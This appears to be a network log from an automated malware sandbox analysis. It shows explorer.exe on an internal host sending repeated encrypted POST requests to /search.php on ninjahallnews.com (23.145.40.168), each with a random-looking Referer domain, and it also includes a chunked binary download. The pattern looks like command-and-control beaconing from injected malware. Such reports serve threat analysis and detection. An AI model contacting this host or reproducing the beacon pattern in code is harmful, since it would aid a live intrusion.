2024-10-07 22:20:42 UTC	294	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:20:42 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-10-07 22:20:42 UTC	7898	IN	Data Raw: 31 65 65 36 0d 0a 19 00 00 00 1e 0d ae 55 88 5b ab 97 21 0d dd 60 2e 7b 1d 32 50 01 72 3e c8 9a 69 4c 1d 00 8b 6e 04 00 2a 22 f8 44 01 02 02 00 06 00 9e 03 00 00 77 51 0b 6d 97 5a 5a 1a e7 4b 51 fa 07 40 40 00 56 e8 34 2a 99 34 df c4 22 b4 0c c2 c9 75 16 28 d6 e8 35 ae 87 4e 70 79 29 cd 23 c3 ef 0b d6 49 8b 19 b9 12 52 9b dd 05 05 4e 9f 97 7b e1 5f 69 8c b0 ed 65 43 56 5e 71 f5 4e 45 39 f4 04 e9 d0 a8 e9 4b 2b 4d 76 2a 66 fa 26 fe fc 55 8f 54 eb 33 b6 46 e0 cd 9b 34 02 35 6a 8c 34 70 c2 dc 6e 38 81 9d aa f9 df b3 6b b5 26 0a bf f8 36 e7 44 24 f5 0e af a7 0a 97 ae cb ad 65 6a 38 8e 2f df 47 1f 1a ad c3 3a f2 61 39 73 b3 62 24 2c b7 bd 31 c3 2f 23 8d 51 5a f1 9f b6 71 3e fe 3f 8a 3b 55 06 26 3f 4a 6b de aa db 22 7d b3 7d c9 db a3 3d 47 8d 1a 2c 1e 6a 9c fa Data Ascii: 1ee6U[!`.{2Pr>iLn"DwQmZZKQ@@V44"u(5Npy)#IRN{_ieCV^qNE9K+Mv*f&UT3F45j4pn8k&6D$ej8/G:a9sb$,1/#QZq>?;U&?Jk"}}=G,j
2024-10-07 22:20:42 UTC	18	IN	Data Raw: 4a ad c8 4d b8 98 51 d7 c4 46 f4 20 38 32 b7 a2 a6 9c Data Ascii: JMQF 82
2024-10-07 22:20:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 22:20:42 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a c7 83 91 ea b4 80 43 43 d2 2a 76 48 28 fa e3 f3 9b 3d 20 10 9a 0e 07 b4 7c 20 db b8 5f 0e 1c e0 7a 74 62 c2 d5 38 50 ab b4 6a a0 56 ed 37 bc 2b 04 79 0c 1b 74 82 e9 04 9a 87 8c 66 71 e2 3a 32 bf 96 aa 85 56 f4 05 fa 48 17 d7 45 b4 74 c3 01 34 c3 54 3e 0c 3d 97 2a 26 cc e0 32 29 5f 8c 55 6d 85 ae 7f c0 d1 7a 0d e9 4b ea fe ab ed 75 74 7c 00 3d e6 71 31 34 c9 ac e6 53 30 c6 87 a5 c8 d7 15 65 b7 c3 61 c3 c5 8f c6 9a c4 80 03 25 d2 d0 09 db b2 89 46 e4 46 0c 7b d6 5d 28 c6 ce 93 0e a0 df 57 0e ee 82 b4 d0 a5 1f 04 45 b4 1f 58 9b 51 6b 96 da 7d 6f 25 58 7f c2 df 99 a3 df 79 d9 ef 51 30 8c 18 69 40 64 fe e0 0e f9 89 96 8f 98 34 d7 8c c5 72 ed 1a ee 52 45 71 1c 08 d3 19 12 f4 68 db 8e ab e2 ad 2e 10 cd bb fe ff 53 78 84 90 47 f0 6e 67 90 52 5f Data Ascii: 2000CCvH(= \| _ztb8PjV7+ytfq:2VHEt4T>=&2)_UmzKut\|=q14S0ea%FF{](WEXQk}o%XyQ0i@d4rREqh.SxGngR_
2024-10-07 22:20:42 UTC	6	IN	Data Raw: 97 20 09 6c 1a f8 Data Ascii: l
2024-10-07 22:20:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 22:20:42 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a c5 1b 8a ab 3f 66 45 20 c9 af 22 2e ab 70 95 3f 9f 17 d3 11 7d 81 a5 94 ec 3b f9 58 d1 55 e2 90 08 70 1a b8 60 26 7d 78 86 82 bc 9a 1b 61 79 3c 97 58 14 89 26 5c 44 88 a6 3d 96 1c 53 26 00 44 58 49 1b e8 f1 aa 9a db 4e 9f 66 5f 7d b0 b3 fc 57 ca ff 71 25 4f 88 ed 70 0f 16 b2 c4 bd 0e bf f3 dc 00 b7 f2 a5 f4 ae f3 f6 7a c8 37 8f 60 c1 38 d7 b6 f2 58 0d 76 ba c8 7a a6 13 3a 4c a3 b6 86 b9 a2 0c 4b 37 05 84 09 ed 08 4f 88 07 ea 9a 75 72 15 85 b8 4f 76 61 8c 31 de 65 cd 2a 97 ab 9b 29 53 ae e4 04 d8 0a b1 e7 9c e1 f6 76 b9 e7 13 2d 86 58 56 2e 7e 92 81 b1 d6 bd f7 64 fc 6f c7 85 3a 07 06 fb 78 ed f1 e2 16 f4 a8 e4 e2 30 06 ce 27 25 8a 9d db ba e3 ba 88 e2 96 64 d0 07 8e 10 df c5 fe 4c ef 98 b4 8c 08 a1 01 60 3f 7e ab c0 6c eb 06 f6 63 1f a5 Data Ascii: 2000?fE ".p?};XUp`&}xay<X&\D=S&DXINf_}Wq%Opz7`8Xvz:LK7OurOva1e*)Sv-XV.~do:x0'%dL`?~lc
2024-10-07 22:20:42 UTC	6	IN	Data Raw: 60 4f 16 27 c7 be Data Ascii: `O'
2024-10-07 22:20:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49890	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:43 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://qwngamstehwl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: ninjahallnews.com
2024-10-07 22:20:43 UTC	221	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6a 34 01 83 b7 25 93 3c 70 ab 36 b4 db ac 42 5b e6 2c 7f 97 78 e1 ef 33 04 fa 3d 17 33 d5 eb c7 7b b2 a3 7b 1c 80 fa 2c ad 2c 27 f2 e5 10 79 29 63 06 05 cb 79 da 90 b0 42 d3 e2 4d 75 0f e4 6b 27 d1 28 68 f8 fd 84 81 4a 3a d4 0b f9 24 fa 04 28 d5 4c a3 3a 74 2c 7a 59 ee ce 09 f2 8d 24 84 4a 0b e7 d8 a9 25 ac a2 0b ba 82 fa cb 55 57 8f d7 87 5c 2c a7 0a 4d ee 75 65 2f e9 23 13 49 cd 3f 30 36 d9 bb e2 3a 22 c3 ac 65 be 60 97 e4 d8 08 15 69 29 b4 7f 47 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lj4%<p6B[,x3=3{{,,'y)cyBMuk'(hJ:$(L:t,zY$J%UW\,Mue/#I?06:"e`i)G
2024-10-07 22:20:44 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:44 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49898	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:44 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://wuojfsenfaf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 131 Host: ninjahallnews.com
2024-10-07 22:20:44 UTC	131	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6b 34 01 83 b7 25 93 3c 4d d5 3b f4 ca f0 24 3c e2 18 6f fa 3d c1 eb 1c 73 ed 14 33 74 be e4 d4 72 fa de 13 79 d4 e1 36 b7 30 7e fd 8c 54 75 3d 79 07 0f d2 0f c2 86 9d 49 fa fd 5e 40 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lk4%<M;$<o=s3try60~Tu=yI^@
2024-10-07 22:20:45 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:45 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49902	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:45 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mxlgirixfokriwnb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 253 Host: ninjahallnews.com
2024-10-07 22:20:45 UTC	253	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 68 34 01 83 b7 25 93 3c 6d c3 73 e1 93 c7 12 56 be 2b 73 8f 5d 9f f8 64 7e c7 12 01 3c cd b1 f7 4e c0 a9 02 67 83 f2 36 87 77 2b f9 98 76 37 42 45 3c 0a c2 2f ca d6 ce 0a ce b9 51 32 4e 92 5b 35 db 6e 40 ea 8c a3 80 56 1f c2 0e b2 4f ff 70 7c 8f 0b db 6e 6f 67 74 69 af f4 4c e8 aa 2a 97 38 01 c3 ac 96 24 ac ac 7e aa a3 a0 cd 2a 70 8c bf 82 79 29 ac 49 31 e1 2b 65 56 e2 6c 06 43 df 4b 14 04 d9 cd db 15 7b b4 d8 0b f2 7b f3 b5 a5 7b 0e 31 6c a5 1c 29 11 1b 65 ef 3c 8f b4 1d 12 15 4e 2a dc ad 3a 77 04 40 b3 91 e1 05 e4 fd 75 e1 4e cd b9 a2 81 2b Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lh4%<msV+s]d~<Ng6w+v7BE</Q2N[5n@VOp\|nogtiL8$~py)I1+eVlCK{{{1l)e<N*:w@uN+
2024-10-07 22:20:46 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:46 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49913	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:46 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://uefyjrrvgteesaeq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 332 Host: ninjahallnews.com
2024-10-07 22:20:46 UTC	332	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 69 34 01 83 b7 25 93 3c 61 fd 17 a4 8d f4 42 5f d4 78 20 b7 38 f2 80 29 09 d2 70 54 33 dd e5 e1 32 de c1 58 07 cc fd 31 8e 48 52 84 85 75 7b 56 6e 20 0d f4 2f d1 81 bb 5b f6 f6 25 76 0b ef 7f 07 f6 75 6f fa 86 82 9f 39 38 84 6c be 36 e8 67 69 8e 10 c2 37 41 4b 35 44 f7 a6 07 e9 c0 3c f2 3c 3d d1 a2 d8 55 c6 fb 0c b0 b8 99 c7 18 42 a6 db c6 7b 30 c4 58 21 8e 77 05 3c f5 28 76 3c a8 31 7f 49 e9 8e 94 70 63 bc a9 6c fe 42 88 c0 a5 68 77 16 2f d7 5d 63 0d 5d 19 e7 57 e7 df 13 26 13 78 3d d1 8b 3e 6f 2e 0e 95 9d c4 22 93 af 6e d0 62 a7 e6 d3 d8 60 a4 6d Data Ascii: r{O)fz<pqB )6IP g3iqH[@Li4%<aB_x 8)pT32X1HRu{Vn /[%vuo98l6gi7AK5D<<=UB{0X!w<(v<1IpclBhw/]c]W&x=>o."nb`m
2024-10-07 22:20:46 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:46 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49919	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:47 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://nnyeswfjrdkwqexg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 311 Host: ninjahallnews.com
2024-10-07 22:20:47 UTC	311	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6e 34 01 83 b7 25 93 3c 37 ea 16 f3 a8 fc 5a 39 e1 1a 09 fc 51 d5 cd 78 15 e8 0e 21 2a c9 fd 92 21 c5 a4 69 11 e3 f0 70 9c 72 33 b1 89 4e 3d 62 15 21 04 88 07 ba 87 da 54 cd e1 45 03 22 98 04 28 a1 46 1c 83 f1 98 db 3b 05 d7 76 be 55 97 6b 59 c7 00 af 6e 2a 46 0e 68 f2 e1 1f 8b c7 0c f6 19 2b fc e6 88 26 f9 85 12 b4 bb a4 b7 00 38 b9 91 ac 6e 09 9a 4d 09 c1 0b 07 2e 84 4c 0c 68 b3 3a 28 35 fb bf 88 65 40 94 ea 3a f7 39 8b a9 e6 28 72 05 22 a1 6e 2b 1a 53 0a f1 5b f8 96 0c 39 32 35 39 99 a0 50 2d 4c 1f 91 f1 c0 28 d9 fd 03 9d 3c db 8e e2 bd 5d 92 53 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Ln4%<7Z9Qx!!ipr3N=b!TE"(F;vUkYnFh+&8nM.Lh:(5e@:9(r"n+S[9259P-L(<]S
2024-10-07 22:20:47 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:47 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49925	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:49 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://opoqwbbwkupiok.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: ninjahallnews.com
2024-10-07 22:20:49 UTC	273	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6f 34 01 83 b7 25 93 3c 3d aa 7c ba c9 b5 22 23 ed 37 71 a7 24 97 86 30 13 a0 77 38 55 c6 cc 98 68 bb de 7f 52 9d 88 71 b4 71 79 e5 82 62 2b 29 09 1c 07 f5 3d a5 ec a2 4d d3 be 4e 23 3a ee 64 24 dd 53 59 fc 80 e9 d4 0e 1f a3 14 e5 7f ad 65 63 ad 4c dc 28 44 23 09 72 ec e9 7e 93 b4 12 8f 53 62 d0 a0 9d 48 d7 a5 05 ae d1 a7 a8 04 69 ba 8d a1 4d 59 a3 6c 21 ff 67 6e 0a e6 38 71 3a f2 49 17 2a ed cf 81 0b 60 92 fb 7e ac 58 c6 a2 e2 67 74 20 36 c1 0d 11 4e 08 33 c7 0c 97 a5 06 43 34 74 32 c0 88 7c 6e 3a 37 93 95 f3 1b c9 bf 08 df 47 af b2 a1 88 77 cc 3a Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lo4%<=\|"#7q$0w8UhRqqyb+)=MN#:d$SYecL(D#r~SbHiMYl!gn8q:I*`~Xgt 6N3C4t2\|n:7Gw:
2024-10-07 22:20:49 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:49 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49931	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:50 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://lrhrxwfbfqiw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: ninjahallnews.com
2024-10-07 22:20:50 UTC	321	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6c 34 01 83 b7 25 93 3c 75 db 3e e6 b3 ca 31 2f bd 11 1a b2 55 c8 d7 32 63 ab 6e 27 40 cf a0 cf 21 ef c3 79 18 e6 f2 49 ae 32 51 a8 91 7b 2a 3f 47 4b 3a e9 74 9e d3 aa 5e 90 f1 64 1d 3c ac 16 13 f4 5a 1c c5 fa a3 99 21 12 8c 5f ac 75 ee 0b 6a c3 2c da 32 2f 6a 37 42 b2 e3 06 ad d8 63 ef 25 6a 84 d9 ae 3f da 9d 5c f0 ca 89 c1 29 46 c6 d1 ad 09 08 c3 53 13 90 60 65 38 99 49 12 5d b7 18 33 18 9c bc d7 6b 36 b1 da 3a 92 54 e1 ea a9 0c 3e 26 33 d6 5c 1d 02 5e 16 bc 0e 9b 9b 77 57 1d 25 58 fc 83 67 23 50 56 c8 98 ff 43 e9 fa 38 ef 39 8a ba c1 cb 65 cf 6a Data Ascii: r{O)fz<pqB )6IP g3iqH[@Ll4%<u>1/U2cn'@!yI2Q{*?GK:t^d<Z!_uj,2/j7Bc%j?\)FS`e8I]3k6:T>&3\^wW%Xg#PVC89ej
2024-10-07 22:20:51 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:50 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49941	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:51 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mjscupccgtmnwxhe.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 369 Host: ninjahallnews.com
2024-10-07 22:20:51 UTC	369	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6d 34 01 83 b7 25 93 3c 7f d1 0a a5 80 f9 32 23 a3 6b 13 a6 7e c9 99 06 0a ff 74 0e 63 93 be 91 7a d1 d7 11 59 80 ec 3b e6 69 2a f9 8b 51 32 79 0d 00 34 f8 38 dc cf cd 5e 81 bb 6f 2f 53 a4 57 59 a2 29 75 98 c2 9b 9f 01 06 a4 6f e8 3f 90 31 3d 9e 1f 82 76 5e 3c 7a 71 e7 d8 77 f9 cd 6d c8 2b 02 95 d7 ce 28 d8 81 4c fb b0 94 b5 48 55 88 cf d3 61 1a cc 62 54 88 02 75 3d b4 43 0c 7f ad 42 77 33 e9 97 d8 18 44 bb aa 1e ab 43 d3 dc ce 27 63 1c 4c f9 7a 79 74 25 35 db 4c 80 aa 07 46 2d 45 0f 93 84 53 7d 31 27 bb d1 c5 1c c9 d2 20 88 7f b9 a8 ad d0 4f a2 3f Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lm4%<2#k~tczY;i*Q2y48^o/SWY)uo?1=v^<zqwm+(LHUabTu=CBw3DC'cLzyt%5LF-ES}1' O?
2024-10-07 22:20:51 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:51 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49948	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:52 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mygtgmevqgkpxy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 150 Host: ninjahallnews.com
2024-10-07 22:20:52 UTC	150	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 62 34 01 83 b7 25 93 3c 45 cc 7f a5 84 da 4b 54 ad 15 3f 9d 28 eb 92 2d 06 fd 66 09 52 c5 be e3 2d ec fe 65 43 94 e4 41 b1 60 24 b2 9e 00 20 24 1f 0f 0e fb 39 94 fa af 2c 9d ea 63 33 47 f7 62 2e fe 22 6d 9e 80 89 8f 5e 6b b6 0a e2 77 f9 57 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lb4%<EKT?(-fR-eCA`$ $9,c3Gb."m^kwW
2024-10-07 22:20:52 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:52 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49954	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:53 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://jqllhnybwxcxea.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: ninjahallnews.com
2024-10-07 22:20:53 UTC	366	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 63 34 01 83 b7 25 93 3c 4d c9 3c a5 b5 fc 2a 2b c5 6c 69 b3 3d f8 c7 3e 62 d8 0f 11 44 da e1 ea 77 bc e7 60 44 9d 97 5f e5 28 70 fb dc 08 2a 62 1a 11 5d 9d 3b d6 cb d6 13 e5 91 2d 7d 31 ee 62 5a ec 49 6c e8 cd f4 86 50 3c d9 65 b6 55 eb 24 7e a7 2d cf 7a 60 3c 39 04 af ca 67 ff c9 0f f0 36 7d f0 ee 86 4b e9 a4 7e b4 8e 86 d0 05 66 d1 92 82 7f 34 a0 61 49 f8 2e 73 58 82 58 0c 4b b8 16 6c 0c 9e a1 f1 05 37 ab b2 19 be 5d f9 fb e2 32 19 2e 3e b0 01 03 08 43 28 bf 16 ab c9 13 59 63 29 07 f7 e8 47 2c 3d 59 bf 9d f9 51 d2 ce 69 e9 63 95 87 d2 cc 1c ba 72 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lc4%<M<+li=>bDw`D_(pb];-}1bZIlP<eU$~-z`<9g6}K~f4aI.sXXKl7]2.>C(Yc)G,=YQicr
2024-10-07 22:20:53 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:53 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49960	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:55 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://pupdhamncbgqgk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: ninjahallnews.com
2024-10-07 22:20:55 UTC	306	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 60 34 01 83 b7 25 93 3c 66 ad 05 b0 b1 ab 10 3e b9 02 03 e5 46 97 e0 39 00 cb 7c 3d 76 d2 d0 9c 79 d4 d9 14 41 fe ba 7d 88 26 63 f3 de 6a 10 40 13 40 45 9c 2c a3 cd 81 16 85 b6 4c 2f 1e e8 6a 31 e4 6a 52 df 86 9f 81 21 15 d5 51 d5 5d ea 05 31 81 4b a6 62 42 67 3c 56 d1 b4 41 8a 97 07 d6 1f 02 97 ae a9 51 b2 bf 04 b1 ce e8 d5 4d 52 c4 aa af 6a 5c c3 1c 45 db 7e 08 2e b6 7b 61 5f b6 4c 6e 28 d3 bc 8e 76 4f 8d af 0e 92 35 ca e0 f5 37 14 19 55 b0 57 70 05 50 7e d7 1f 83 b3 60 0c 01 21 4e e5 ac 64 26 38 2b ca 9f ef 0c c9 b6 70 da 47 8f 80 b2 da 7c 8e 73 Data Ascii: r{O)fz<pqB )6IP g3iqH[@L`4%<f>F9\|=vyA}&cj@@E,L/j1jR!Q]1KbBg<VAQMRj\E~.{a_Ln(vO57UWpP~`!Nd&8+pG\|s
